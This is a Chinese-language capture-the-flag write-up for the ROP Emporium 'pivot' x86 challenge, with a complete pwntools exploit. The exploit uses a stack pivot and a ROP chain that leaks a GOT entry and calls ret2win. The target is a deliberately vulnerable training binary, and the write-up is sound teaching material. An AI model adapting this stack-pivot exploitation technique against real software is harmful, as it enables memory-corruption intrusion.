来自 ROP Emporium (https://ropemporium.com/challenge/pivot.html)的题目。
前置知识
栈迁移
当能写入的有效载荷,不足以获得 flag 的时候可以将栈跳转到更大的内存区域来放置 ROP 链。
来填写 payload 的时候,一般除了缓冲区要覆盖,我们还需要额外覆盖 4/8 字节的空间,这个空间是用来保存旧的栈基址指针(ebp/rbp),正常情况下函数最后会用 leave 助记符将 ebp 的数据写入 esp 来清理栈空间,回退到上一层函数,而来栈迁移中也同样需要 leave; ret 在新的栈空间上执行写入的 ROP 链。
栈迁移需要两样:
-
leave; ret Gadget
这个可以通过 ROPgadget 来获得。
-
足够大的可读可写且地址已知的内存区域。
一般来说选择堆上的 buffer 或者 .bss 段空间。
分析
压缩包提供了动态链接库:
1
2
3
4
|
❯ zipinfo -1 pivot32.zip
pivot32
libpivot32.so
flag.txt
|
静态分析仅开启了 NX:
1
2
3
4
5
6
7
8
9
|
❯ pwn checksec --file=pivot32
[*] '/data/Hack/tmp/pivot32/pivot32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
RUNPATH: b'.'
Stripped: No
|
ida 分析两个二进制文件:
首先 main 文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *ptr; // [esp+Ch] [ebp-Ch]
setvbuf(_bss_start, 0, 2, 0);
puts("pivot by ROP Emporium");
puts("x86\n");
ptr = (char *)malloc(0x1000000u);
if ( !ptr )
{
puts("Failed to request space for pivot stack");
exit(1);
}
pwnme(ptr + 0xFFFF00);
free(ptr);
puts("\nExiting");
return 0;
}
|
它首先在堆上开了 0x1000000 字节的缓冲区,如何将缓冲区偏移了 0xFFFF00 的地址传入 pwnme 函数。
pwnme 函数内:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
int __cdecl pwnme(void *buf)
{
_BYTE s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
puts("Call ret2win() from libpivot");
printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", buf);
puts("Send a ROP chain now and it will land there");
printf("> ");
read(0, buf, 0x100u);
puts("Thank you!\n");
puts("Now please send your stack smash");
printf("> ");
read(0, s, 0x38u);
return puts("Thank you!");
}
|
局部变量 s 大小 40 字节。可以得到 main 函数中 ptr + 0xFFFF00 的地址。有两个输入数据的地方。
- 往 buf 写入 0x100 字节的数据
- 往栈上写入 0x38 字节数据。
第二个是可以构造栈溢出,但问题是太小了。没办法写入很长的 ROP 链。
执行过程大概就是这样。不过还应该仔细分析程序,看看函数列表发现 uselessFunction 里面就是调用了 foothold_function ,这个函数是 libpivot32.so 的函数,算是提供了一个线索。
而且呢,通过 objdump 输出函数 .text 段可以找到:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
objdump -dj .text -M intel ./pivot32
…………
0804882c <usefulGadgets>:
804882c: 58 pop eax
804882d: c3 ret
804882e: 94 xchg esp,eax
804882f: c3 ret
8048830: 8b 00 mov eax,DWORD PTR [eax]
8048832: c3 ret
8048833: 01 d8 add eax,ebx
8048835: c3 ret
8048836: 66 90 xchg ax,ax
8048838: 66 90 xchg ax,ax
804883a: 66 90 xchg ax,ax
804883c: 66 90 xchg ax,ax
804883e: 66 90 xchg ax,ax
|
显而易见是有意为之的提供的 gadget。
看看 libpivot32.so 内:
shift+f12 找到 flag.txt 字符串, X 交叉引用到 ret2win() 内,看来最后是要将程序跳转到该函数了。
上面提到的 foothold_function 内也有线索:
1
2
3
4
|
int foothold_function()
{
return puts("foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot");
}
|
综合以上,我最开始是想通过栈溢出配合栈迁移重新运行 pwnme 来获得 libpivot32 的基址,但是各种方法都尝试过无解。之后仔细研究后发现写入到 buf 可以在新的栈上构造 ROP 链以此运行 ret2win 函数,而写入 s 可以少量栈溢出就仅仅为了栈迁移而做。
接下来就是像拼图一样拿 gadget 凑出 ROP 链。
主要是通过 usefulGadgets 下的汇编来寻找思路。
因为 pivot32 绑定了 foothold_function ,所以在第一次调用 foothold_function@plt 的代码:
跳入 got 而此时该代码因为 PLT 不是实际地址,而是 foothold_function@plt 的第二行代码,这一步会链接然后调用实际的 foothold_function ,之后 got 表的 foothold_function 就是 foothold_function 实际的地址了。
1
2
3
4
|
08048520 <foothold_function@plt>:
jmp DWORD PTR ds:0x804a024
push 0x30
jmp 80484b0 <.plt>
|
而因为 ret2win 函数和 foothold_function 在同一链接库中,它的地址可以由编译时就确定的相对于 foothold 的偏移量来获得,这样我们就只需要获得 foothold_function 的地址一切都好办了,而 usefulGadgets 有这样的 gadget:
1
2
|
mov eax,DWORD PTR [eax]
ret
|
这个 gadget 将 eax 存储的地址指向的数据复制到 eax 上,有点类似二级指针。如果此时 eax 存储的是 got 上的 foothold_function,而 foothold_function 已经初始化过一遍,则我们就在 eax 上得到了 foothold_function 的实际地址。
因为没有 PIE,所以通过 pwntools 很容易就能获得 got 表的数据,只需要一个 pop eax 的 gadget 就能写入到 eax 中。
而且 usefulGadgets 又有 add eax, ebx 可以做 : eax = eax + ebx 的操作,那么只需要把偏移量写入 ebx 中最终在 eax 中就是 ret2win 的地址,最后的最后如果有个 call eax 就完美了。这个在 usefulGadgets 没有,但是用 ROPgadget 就可以获得。
1
2
3
|
/data/Hack/tmp/pivot32
❯ ROPgadget --binary ./pivot32 --only 'call' | grep 'eax'
0x080485f0 : call eax
|
这样就可以写 exp 了。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
from pwn import *
context.log_level = "debug"
context.gdb_binary = "/usr/lib/pwndbg-gdb/bin/pwndbg"
io = process("./pivot32")
pivot_ELF = ELF("./pivot32")
lib_Pivot_ELF = ELF("./libpivot32.so")
foothold_function_plt = pivot_ELF.plt["foothold_function"]
foothold_function_got = pivot_ELF.got["foothold_function"]
pwnme_addr = 0x8048750
leave_ret_Addr = 0x080485F5
pop_eax_ret_Addr = 0x804882C
xchg_espeax_ret_Addr = 0x804882E
mov_eax_eaxP_ret_Addr = 0x8048830
# 神秘的 0x8048831 使我的大脑旋转
add_eax_ebx_Addr = 0x8048833
call_eax_Addr = 0x080485F0
pop_ebx_ret_Addr = 0x080484A9
offset = lib_Pivot_ELF.symbols["ret2win"] - lib_Pivot_ELF.symbols["foothold_function"]
io.recvuntil(b"pivot: 0x")
# 这里的 buf 地址实际是 buf + 0xffff00
buf_addr = int(io.recv(8), 16)
io.recvuntil(b"> ")
payload_buf = (
p32(1)
+ p32(foothold_function_plt)
+ p32(pop_eax_ret_Addr)
+ p32(foothold_function_got)
+ p32(mov_eax_eaxP_ret_Addr)
+ p32(pop_ebx_ret_Addr)
+ p32(offset)
+ p32(add_eax_ebx_Addr)
+ p32(call_eax_Addr)
)
io.sendline(payload_buf)
payload_esp = b"a" * 0x28 + p32(buf_addr) + p32(leave_ret_Addr)
io.recvuntil(b"> ")
#gdb.attach(io)
io.send(payload_esp)
io.interactive()
|
通过 ROPgadget 和 objdump 可以把需要的 gadget 找出,我们在栈上大抵是需要如下的 ROP 链:
1
2
3
4
5
6
7
8
9
10
|
fake ebp
foothold_function@plt
pop eax
foothold_function@got
mov eax, DWORD
mov eax,DWORD PTR [eax]
pop ebx
offset
add eax ebx
call eax
|
这里的 fake ebp 就是最开始的 p32(1) ,无所谓的 4 字节。主要是为了消耗 leave 助记符的 pop ebp。在 pop ebp 后, esp 以为到 fake ebp + 0x4 的位置开始执行下一行指令也就是 foothold_function@plt 。
小插曲
gadget 一定要找对地址,如果找错了就会有各种奇怪的问题。只能通过 gdb 单步执行来找出问题,这个过程很难绷……